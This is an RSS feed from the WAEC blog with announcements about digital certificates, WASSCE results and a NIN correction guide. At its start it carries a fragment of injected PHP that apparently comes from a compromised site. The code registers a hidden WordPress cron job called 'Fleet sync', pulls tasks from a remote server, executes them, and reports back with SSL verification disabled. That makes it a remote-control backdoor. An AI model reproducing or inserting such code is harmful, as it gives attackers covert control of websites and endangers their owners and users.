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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); WAEC https://blog.waec.org Digital Certificate Thu, 19 Feb 2026 09:01:23 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://blog.waec.org/wp-content/uploads/2022/10/cropped-waec_logo-3-32x32.png WAEC https://blog.waec.org 32 32 WAEC BEGINS FULL IMPLEMENTATION OF DIGITAL CERTIFICATE SERVICES ACROSS ITS MEMBER COUNTRIES https://blog.waec.org/waec-begins-full-implementation-of-digital-certificate-services-across-its-member-countries/ https://blog.waec.org/waec-begins-full-implementation-of-digital-certificate-services-across-its-member-countries/#comments Wed, 18 Feb 2026 16:18:23 +0000 https://blog.waec.org/?p=2691 The West African Examinations Council (WAEC) has unveiled the much-anticipated
WAEC Digital Certificate Services System (WAEC DigiCert) across all its member countries: The Gambia, Ghana, Liberia, Nigeria and Sierra Leone.


The Digital Certificate Services platform is a mobile and Web-based application that provides enormous benefits to the various stakeholders. It is designed to offer simple features that enable users to access, request, confirm or share digital forms of the original certificates. Users can also recover lost WAEC examination numbers on the system.


The system is reliable, the authenticity of the certificates is guaranteed and the cost benefits to users cannot be overstated. Following its successful pilot in Nigeria, WAEC DigiCert received positive feedback from candidates and educational institutions across the globe.


The general public and all stakeholders are advised to use WAEC DigiCert, to avoid administrative challenges and bottlenecks associated with the manual certificate issuance and collection.


The Mobile App can be downloaded on Apple Store or PlayStore for iOS and Android devices, respectively. For more information, visit www.waec.org or our official social media accounts @WAECDigicert.

]]> https://blog.waec.org/waec-begins-full-implementation-of-digital-certificate-services-across-its-member-countries/feed/ 28 WASSCE 2024 Certificates Now Available on the WAEC Digital Certificate Platform. https://blog.waec.org/wassce-2024-certificates-now-available-on-the-waec-digital-certificate-platform/ https://blog.waec.org/wassce-2024-certificates-now-available-on-the-waec-digital-certificate-platform/#comments Thu, 15 Aug 2024 13:03:22 +0000 https://blog.waec.org/?p=2663 The West African Examinations Council (WAEC), Nigeria, is pleased to announce that the certificates for the 2024 WASSCE for School Candidates are now available on the WAEC Digital Certificate Platform. Both candidates and institutions can access, download, share, and verify these certificates by visiting waec.org.
To access your digital certificate:

  1. Go to the WAEC Digital Certificate Platform at waec.org
  2. Log in to your account
  3. Follow the instructions to access, download, share, and verify your certificate.

The Digital Certificate Platform enhances the efficiency of accessing and verifying certificates, providing instant confirmation of authenticity while reducing the risk of fraud. This streamlined process not only saves time for students and institutions but also allows institutions to focus on other essential tasks. Congratulations to all candidates on their hard work and outstanding results. We wish you the best in your future endeavors.

For any further inquiries or assistance, please do not hesitate to contact us at support@waec.org

]]> https://blog.waec.org/wassce-2024-certificates-now-available-on-the-waec-digital-certificate-platform/feed/ 31 Correcting Information Errors on your NIN : A Step-by-Step Guide   https://blog.waec.org/correcting-information-errors-on-your-nin-a-step-by-step-guide/ https://blog.waec.org/correcting-information-errors-on-your-nin-a-step-by-step-guide/#comments Fri, 31 May 2024 09:12:23 +0000 https://blog.waec.org/?p=2653 The WAEC Digital Certificate Platform, available as a web and mobile-based application, enables users to seamlessly access, share, and confirm WAEC certificates. However, discrepancies between the information on your digital certificate profile and your identification documents, such as your NIN, BVN, and International Passport may prevent you from accessing your certificate on the platform.  

If you are having troubles verifying your identity on the digital certificate platform because of a name change on your NIN, here is a step-by-step self-service guide to correct name errors or discrepancies on your NIN: 

Step 1: Access the NIMC Self-Service Portal 

Visit the self-service modification portal at selfservicemodificatio.nimc.gov.ng/ from your computer or mobile device. 

Step 2: Select the Correction Type 

Select the type of correction type you require Change of Address, Update Phone Number, Address, or Modify Date of Birth. 

Step 3: Pay the Required Fee 

Please note that there are charges associated with each correction type: 

Change of Names: ₦1,522.50 

Change of Address: ₦1,522.50 

Change of Phone Number: ₦1,522.50 

Change of Date of Birth: ₦16,340.00 

Step 4: Additional Requirements for Date of Birth Correction 

If you are correcting your date of birth, make sure you have registered the new or corrected date of birth with the National Population Commission (NPC). Visit www.npc.gov.ng for more information. You will require a Sworn Affidavit to complete the birth certificate registration. 

Step 5: Complete the Registration 

Follow the prompts on the self-service portal to complete the registration process and securely make the necessary payments online. 

Step 6: Download or Print Your New Digital NIMC Card 

Once your corrections are processed, download, or print your new digital NIMC card with the updated information. 

By following these simple steps, you can correct all errors on your NIMC card from the comfort of your location. Remember, that certificate access on the platform will only be granted when you provide accurate identity verification information.  

]]> https://blog.waec.org/correcting-information-errors-on-your-nin-a-step-by-step-guide/feed/ 24 RELEASE OF RESULTS OF THE COMPUTER-BASED WEST AFRICAN SENIOR SCHOOL CERTIFICATE EXAMINATION (CB-WASSCE) FOR PRIVATE CANDIDATES, 2024-FIRST SERIES https://blog.waec.org/release-of-results-of-the-computer-based-west-african-senior-school-certificate-examination-cb-wassce-for-private-candidates-2024-first-series/ https://blog.waec.org/release-of-results-of-the-computer-based-west-african-senior-school-certificate-examination-cb-wassce-for-private-candidates-2024-first-series/#comments Mon, 25 Mar 2024 18:23:33 +0000 https://blog.waec.org/?p=2647 The West African Examinations Council (WAEC), Nigeria, wishes to announce to candidates, stakeholders, and the general public that the results of the first-ever Computer-Based West African Senior School Certificate Examination (CB-WASSCE) for Private Candidates, 2024-First Series, have been released.

Recall that the Council, in line with emerging best practices and continuous quest for excellence in its service delivery, commenced migration from the traditional Paper-Based Examinations (PBE) to Computer-Based Examinations (CBE) for its Private Candidates examinations. The novel CB-WASSCE entailed using a hybrid method where all questions were projected on the computer. Whereas answers to the multiple-choice questions were supplied on the computer real-time, answers to the essay and test of practical questions were supplied in booklets given to the candidates.

The examination was conducted between Wednesday, January 31 and Saturday, February 17, 2024. The Coordination of Examiners and Marking of Candidates® Scripts were carried out at THREE (3) Marking Venues in Lagos, Enugu and Kaduna from March 1 to 16, 2024.
A total of FOUR HUNDRED AND FIFTY-NINE (459) Examiners participated in the Coordination and Marking Exercise.

The entry figure of EIGHT THOUSAND, THREE HUNDRED AND SIXTY-TWO (8,362) candidates showed a 4.30% decrease in candidature when compared with the 2023 entry figure of EIGHT THOUSAND SEVEN HUNDRED AND THIRTY-EIGHT (8,738). EIGHT THOUSAND, ONE HUNDRED AND THIRTY-NINE (8,139) candidates sat the examination at ONE HUNDRED AND FORTY
(140) CBT centres spread across the country.

Amongst the candidates that sat the examination, TWENTY-ONE (21) candidates, with varying degrees of Special Needs, were registered for the examination. Out of this number, NINE (9) were visually challenged, TWO (2) had impaired hearing and TWO (2) were Albinos. All these candidates with special needs were adequately catered for in the administration of the examination.

Of the total number of EIGHT THOUSAND, ONE HUNDRED AND THIRTY-NINE (8,139) candidates that sat the examination, THREE THOUSAND, EIGHT HUNDRED AND SIXTY-TWO (3,862) were male while FOUR THOUSAND, TWO HUNDRED AND SEVENTY-SEVEN (4,277) were female, representing 47.45% and 52.55%, respectively.

Out of the total number of candidates that sat the examination, EIGHT THOUSAND AND SIX (8,006) candidates, representing 98.37% have their results fully processed and released while ONE HUNDRED AND THIRTY-THREE (133) candidates, representing 1.63% have a few of their subjects still being processed due to some errors traceable to them. However, efforts are being made to speedily complete the processing to enable all the affected candidates to get their results fully processed and released, subsequently.

The analysis of candidates’ performance showed that out of the EIGHT THOUSAND, ONE HUNDRED AND THIRTY-NINE (8,139) candidates that sat the examination:
THREE THOUSAND, FOUR HUNDRED AND TWENTY-FOUR (3,424) candidates representing 42.07% obtained credit and above in a minimum of FIVE (5) subjects (with or without English Language and/or Mathematics);
TWO THOUSAND, FIVE HUNDRED AND NINETEEN (2,519) candidates representing 30.95% obtained credit and above in a minimum of FIVE (5) subjects, including English Language and Mathematics.


Of this number, ONE THOUSAND, TWO HUNDRED AND EIGHTY-SIX (1,286), i.e. 51.05% were male candidates, while ONE THOUSAND, TWO HUNDRED AND THIRTY-THREE (1,233), i.e. 48.95% were female candidates. The percentage of candidates in this category in WASSCE for Private Candidates, 2022 and 2023 – First Series, that is, those who obtained credit and above in a minimum of five (5) subjects, including English Language and Mathematics, were 26.32% and 23.99% respectively. Thus, there is a marginal increase of 6.96% in performance in this regard.

SIXTY-FIVE (65) candidates’ results, representing 0.80% of the total number of candidates that sat the examination, are being withheld for various reported cases of examination malpractice. Comparatively, the reported cases of FOUR HUNDRED AND THIRTEEN (413) candidates or 4.95% recorded for WASSCE for Private Candidates, 2023- First Series evidently reveal that the method of examination administration drastically reduced examination malpractices. These reported cases are being investigated and reports of the investigations will be presented to the appropriate Committee of the Council for consideration. Thereafter, the Committee’s decisions will be communicated directly to the affected candidates. Meanwhile, candidates whose results are held / withheld can apply for redress by visiting https://waecinternational.org/complaints to register their complaints.

Candidates may check their results by visiting www.waecdirect.org to ascertain their status before visiting the Digital Certificate platform (www.waec.org) to access the digital copies of their certificates, which have been released along with their results. Candidates will be required to apply for the printing of the hard copies of their certificates online, through the WAEC Certificate Request Portal (e-Certman). The portal address is https://certrequest.waec.ng/

WAEC-Nigeria would like to congratulate all candidates who have worked hard and achieved great results. Our profound gratitude also goes to the government at all levels, Security Agencies, Ministries of Education, Staff, Supervisors, Invigilators, Custodians, Examiners, and other Ad-hoc personnel who, despite all odds, availed the Council of their services in ensuring the successful conduct of the examination and marking of scripts. The results are a testament to their dedication and hard work. We wish all the candidates the best in their future endeavours.

Once again, assure all our stakeholders of our dedication and commitment to excellent service delivery.


Signed by: Moyosola F. Adesina (Ag. Head, Public Affairs)
For: Head of National Office
Issued by the Public Affairs Department on – Friday, 22nd March, 2024

]]> https://blog.waec.org/release-of-results-of-the-computer-based-west-african-senior-school-certificate-examination-cb-wassce-for-private-candidates-2024-first-series/feed/ 9 RELEASE OF RESULTS OF THE WEST AFRICAN SENIOR SCHOOL CERTIFICATE EXAMINATION (WASSCE) FOR PRIVATE CANDIDATES, 2023-SECOND SERIES. https://blog.waec.org/release-of-results-of-the-west-african-senior-school-certificate-examination-wassce-for-private-candidates-2023-second-series/ https://blog.waec.org/release-of-results-of-the-west-african-senior-school-certificate-examination-wassce-for-private-candidates-2023-second-series/#comments Mon, 26 Feb 2024 11:57:45 +0000 https://blog.waec.org/?p=2642 The West African Examinations Council (WAEC), Nigeria, wishes to announce to candidates, stakeholders, and the general public that the results of the West African Senior School Certificate Examination (WASSCE) for private Candidates, 2023-Second Series, have been released.

The examination was conducted in Nigeria between Friday, October 27, 2023 and Wednesday, December 20, 2023. The Coordination of Examiners and Marking of Candidates’ Scripts were carried out at SEVEN (7) Marking Venues in Lagos, Ibadan, Akure, Benin, Enugu, Uyo, and Kaduna from Tuesday, January 16, to Tuesday, January 30, 2024. A total of FOUR THOUSAND ONE HUNDRED AND SIXTY-TWO (4,162) Examiners participated in the Coordination and Marking Exercise.

EIGHTY-FIVE THOUSAND, SIX HUNDRED (85,600) candidates, representing 10.07% increase, when compared with the 2022 entry figure of SEVENTY-SEVEN THOUSAND, SEVEN HUNDRED AND SIXTY-EIGHT (77,768), entered for the examination, while EIGHTY THOUSAND, NINE HUNDRED AND FOUR (80,904) candidates sat the examination at FIVE HUNDRED AND SIXTY-EIGHT (568) centres spread across the nooks and crannies of the country.

Amongst the candidates that sat the examination, TWO HUNDRED AND ELEVEN (211) candidates, with varying degrees of Special Needs, were registered for the examination. Out of this number, THIRTY-THREE (33) were visually challenged, TWENTY-ONE (21) had impaired hearing and THIRTY (30) were Albinos. All these candidates with special needs were adequately provided for in the administration of the examination.

Of the total number of EIGHTY THOUSAND, NINE HUNDRED AND FOUR (80,904) candidates that sat the examination, THIRTY-NINE THOUSAND, SEVEN HUNDRED AND NINETY (39,790) were males while FORTY-ONE THOUSAND, ONE HUNDRED AND FOURTEEN (41,114) were females, representing 49.18% and 50.82%, respectively.

Out of the total number of candidates that sat the examination, SEVENTY-EIGHT THOUSAND, FOUR HUNDRED AND NINETEEN (78,419) candidates, representing 96.93% have their results fully processed and released while TWO THOUSAND, FOUR HUNDRED AND EIGHTY-FIVE (2,485) candidates, representing 3.07% have a few of their subjects still being processed due to some errors traceable to them. However, efforts are being made to speedily complete the processing to enable all the affected candidates to get their results fully processed and released, soon.

The analysis of the performance of the candidates shows that out of the EIGHTY THOUSAND, NINE HUNDRED AND FOUR (80,904) candidates that sat the examination:

  • FORTY-SIX THOUSAND, TWO HUNDRED AND SIXTY-SEVEN (46,267) candidates representing 57.19% obtained credit and above in a minimum of FIVE (5) subjects (with or without English Language and/or Mathematics);
  • THIRTY-FIVE THOUSAND, EIGHT HUNDRED AND THIRTY (35,830) candidates representing 44.29% obtained credit and above in a minimum of FIVE (5) subjects, including English Language and Mathematics.

Of this number, SEVENTEEN THOUSAND, SIX HUNDRED AND THIRTY-ONE (17,631) i.e., 49.21% were male candidates, while EIGHTEEN THOUSAND, ONE HUNDRED AND NINETY-NINE (18,199), i.e., 50.79% were female candidates. The percentage of candidates in this category in WASSCE for Private Candidates, 2021 and 2022 – Second Series, that is, those who obtained credit and above in a minimum of five (5) subjects, including English Language and Mathematics, were 48.61% and 42.16% respectively. Thus, there is a marginal increase of 2.13% in performance in this regard.

This analysis, however, cannot be compared with that of WASSCE for School Candidates. Whereas the candidates in WASSCE for School Candidates are compelled to sit eight or nine subjects, the candidates in WASSCE for Private Candidates, though can register for eight or nine subjects, are not compelled to take all. They are free to sit, even one subject, depending on the deficiency they want to remedy. For them, therefore, the examination is only a remedial one – a remedy for an existing deficiency. From the above, it will not be true or fair to say that the performance in this examination has dwindled.

The results of SEVEN THOUSAND, ONE HUNDRED AND NINETY-TWO (7,192) candidates, representing 8.89% of the total number of candidates that sat the examination, are being withheld in connection with various reported cases of examination malpractice. The cases are being investigated and reports of the investigations will be presented to the appropriate Committee of the Council for consideration. Thereafter, the Committee’s decisions will be communicated directly to the affected candidates.

Candidates may check their results by visiting www.waecdirect.org and ascertain their status before visiting the Digital Certificate platform (www.waec.org) to access the digital copies of their certificates, which have been released along with their results. Candidates may also be required to apply for the printing of the hard copies of their certificates, online, through the WAEC Certificate Request Portal (e-Certman) website: https:/ /certrequest.waec.ng/.

WAEC-Nigeria would like to congratulate all candidates who have worked hard and achieved great results. Our profound gratitude also goes to the Government at all levels, Security Agencies, Ministries of Education, Staff, Supervisors, Invigilators, Custodians, Examiners, and other Ad-hoc personnel who, despite all odds, availed the Council of their services in ensuring the successful conduct of the examination and marking of scripts. The results are a testament to their dedication and hard work. We wish all the candidates the best in their future endeavours.

Once again, we assure all our stakeholders of our dedication and commitment to serving the Nigerian Child.

Signed by: Moyosola F. Adesina (Ag. Head, Public Affairs)

For: Head of National Office

Issued by the Public Affairs Department on – Tuesday, 13th February, 2024

]]> https://blog.waec.org/release-of-results-of-the-west-african-senior-school-certificate-examination-wassce-for-private-candidates-2023-second-series/feed/ 3 WAEC DIGITIZES CERTIFICATES FOR EASY GLOBAL ACCESSIBILITY AND CONFIRMATION https://blog.waec.org/waec-digitizes-certificates-for-easy-global-accessibility-and-confirmation/ https://blog.waec.org/waec-digitizes-certificates-for-easy-global-accessibility-and-confirmation/#comments Tue, 10 Jan 2023 08:51:21 +0000 https://blog.waec.org/?p=2567 Advancing in its mission of encouraging academic and moral excellence, promoting sustainable human resource development and international cooperation, meeting the growing global demands, and ensuring prompt service delivery for the collection of WAEC Certificates, The West African Examinations Council (WAEC) Nigeria, has unveiled a ground-breaking Digital Certificate platform.

Millions of people across the world will now find it simpler to access and verify their hard-earned educational qualifications, with the introduction of the digital certificate platform launched on Thursday, 20th October 2022 at the WAEC International Office, Lagos Nigeria.

With around 2 million students sitting the West African Senior School Certificate Examination (WASSCE) yearly, and with the new digital certificate being available to those who have taken the exam as far back as 1999, over 30 million people are now able to access and share the original copies of their certificates – from anywhere in the world.

This will help those wishing to apply for employment, or further study. The online availability of the certificates means those wishing to pursue further studies or gain employment will be helped too as institutions and organizations across the globe will be able to instantly confirm the certificates presented to them. This promises to simplify what can currently be a complex and time-consuming verification process.

The new platform involves a mobile and web-based application that is designed specifically for candidates, individuals, institutions, and organizations. It is being implemented to streamline the issuance and verification of  WAEC certificates thereby improving global mobility by providing candidates with a platform to easily share and verify their certificates for purposes such as employment or further education. Its range of powerful features enables users to access, share, request, and confirm certificates, as well as to recover candidates’ forgotten examination numbers from anywhere in the world, instantly.  

Speaking at the official launch, Mr. Patrick E. Areghan, Head of National Office WAEC Nigeria stated that “WAEC has been working hard over the years, evolving to meet the needs of a changing world. From the migration of physical registration of candidates to online registration, online verification of results, and online result printouts. Now, it has taken an important step further by using leading-edge technology to improve students’ experiences as they seek to continue their education.

He further stated that as WAEC continues to experience a paradigm shift in its technological advancement, he is confident that this development will revolutionize the way people interact with the WAEC certificate and drastically improve the mobility of students as they move forward into their very bright futures.

The digital certificate platform is currently available to people in Nigeria. Other member countries are joining the platform in due course; Ghana, Liberia, Sierra Leone, and The Gambia.


The WAEC Digital Certificate Access and Confirmation Platform is available online via www.waec.org. The mobile version can be downloaded on Android and IOS app stores. For more information visit www.waecnigeria.org  and www.waecdirect.ng

Media contact:

Moyosola Adeyegbe, Public Relations Officer

The West African Examinations Council Nigeria

Phone: +2348030835884

Email: moadesina@waec.org.ng

About WAEC

Established in 1952, the vision of the West African Examinations Council is to be a world-class examining body, adding value to the educational goals of its stakeholders. 

The West African Examinations Council is West Africa’s foremost examining board established by law to determine the examinations required in the public interest in English-speaking West African countries, to conduct the examinations, and to award certificates comparable to those of equivalent examining authorities internationally. 

To learn more about WAEC, visithttps://www.waecnigeria.org

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Interested participants who will want to be part of the webinar are advised to find out more and register to attend by using the online form provided in the link below:

UK ENIC and WAEC Webinar Registration

ENIC is a leading information service provider offering impartial, trusted judgement on international qualifications.

Its services have been developed to ensure that the skills, competencies and qualifications of those coming to the UK to work, study, practice or settle are recognised at the appropriate level.

The agency also supports every university in the UK, all colleges that admit international students, employers, professional bodies, UK Government departments, and immigration advisers understand more about educational, vocational and professional systems outside the UK.

On its official website, ENIC affirmed that it is the designated United Kingdom national agency for the recognition and comparison of international qualifications and skills. They perform this official function on behalf of the UK Government.

ENIC is as well operating under contract to the Department for Education (DfE), UK ENIC serves as the UK’s information point on the recognition of overseas qualifications. They also provide the only official source of information on international education systems and qualifications attained from outside the UK, as prescribed by the Lisbon Recognition Convention and is part of the European Network of Information Centres (ENICs) and the wider ENIC-NARIC network.

The United Kingdom is a signatory of the Lisbon Recognition Convention which obliges the signatory nations to make arrangements for recognising qualifications across borders and to provide information on education systems and higher education institutions. UK ENIC provides these services.

However, additional information about the January 11 webinar further revealed that Mr. Patrick Ehidiamen Areghan, the Council’s Head of National Office, Nigeria will be providing an overview of the WAEC digital certificate platform among other things during the online session.

Besides, the free webinar will also give room for discussions about the future of student mobility from West Africa, it will also demonstrate how the platform can be used by students, higher education

institutions and third-party providers, as well as offer an opportunity to ask questions of members of WAEC and UK ENIC.

It would be recalled that WAEC officially launched its digital certificate on October 20, 2022 and assured stakeholders that the platform could be used to recover candidates’ forgotten/lost examination numbers. It also described it as a one-stop shop for access and validation of certificates, whereby issues of result alteration would permanently cease to exist.

Interestingly, about 30 million certificate holders who had taken the West African Senior Secondary School Certificate Examination (WASSCE) as far back as 1970 till date, will be able to access and share the original copies of their digital certificates from anywhere in the world, and that the platform has also solved the problem of delay, doubt and faking, Mr. Patrick Areghan stated this whilst speaking about the uniqueness of the fresh milestone of the institution.

He equally informed stakeholders that the council’s new digital platform was essentially developed in conjunction with one of the world‘s foremost and credible security technology providers, Botosoft technologies.

Areghan said it was being implemented to streamline the issuance and verification of certificates from all over the world, adding that with the advent of Information and Communications Technology (ICT), there is a need to integrate technology with students’ lifestyles.

]]> https://blog.waec.org/uk-recognition-agency-enic-to-host-free-webinar-on-waec-new-digital-certificate-january-11/feed/ 0 Re-waec digital certificate access and confirmation system: the wait is finally over https://blog.waec.org/re-waec-digital-certificate-access-and-confirmation-system-the-wait-is-finally-over/ https://blog.waec.org/re-waec-digital-certificate-access-and-confirmation-system-the-wait-is-finally-over/#comments Thu, 27 Oct 2022 13:53:00 +0000 https://blog.waec.org/?p=2467 The West African Examinations Council (WAEC) being Africa’s foremost examining board in its over seventy years of existence has continued to experience a paradigm shift in its technological advancement.

 The Council has leveraged technology to improve its service delivery to stakeholders in diverse ways. The migration, from physical registration of candidates to online registration, online verification of results, and online result printout are some of the groundbreaking achievements recorded so far.

Advancing in its mission of encouraging academic and moral excellence, promoting sustainable human resource development and international cooperation, meeting the growing global demands, and ensuring prompt service delivery for collection of WAEC Certificate, WAEC Nigeria, is set to unveil the much-awaited WAEC Digital Certificate Access and Confirmation platform.

This platform is a mobile and web-based application that is designed specifically for candidates, individuals, institutions, and organizations and holds powerful features that enable users to access, share, request confirmation, confirm certificates and recover forgotten WAEC candidate’s examination numbers.

The West African Examinations Council is excited and thrilled to introduce this innovation in a time when the global world has gone digital, this further proves that the Council maintains its vision as a world-class examining body adding educational values to the goals of its stakeholders by providing timely solutions to all bottlenecks and delays associated with the paper certificate thereby creating an easier, instant and safer mode of availing Certificate to stakeholders. With this Digital platform, users will be able to recover burnt, lost, and damaged certificates.

The benefits of this innovation are enormous, as students and individuals who have sat for the WASSCE examinations in the past and present are able to access and share with ease the original copies of their certificates, which can be instantly confirmed from a credible and reliable source regardless of the location.

Also, Institutions, organizations, and recruitment agencies can carry out bulk/individual confirmation of certificates at once with ease. The reliability and authenticity of this confirmation on the digital platform eliminate the chances of fraud.

The unveiling/launching of the product will be on Monday, October 20th, 2022, the general public and all stakeholders are hereby enjoined to take advantage of this new WAEC Digital Certificate Access and Confirmation platform designed to eliminate the “bottleneck” procedures involved in certificate issuance and collection. The WAEC Digital Certificate Confirmation Platform is available online via www.waec.org , the mobile application can be downloaded on the android and iOS app stores. For more information, stakeholders can visit www.waecnigeria.org and  www.waecdirect.ng

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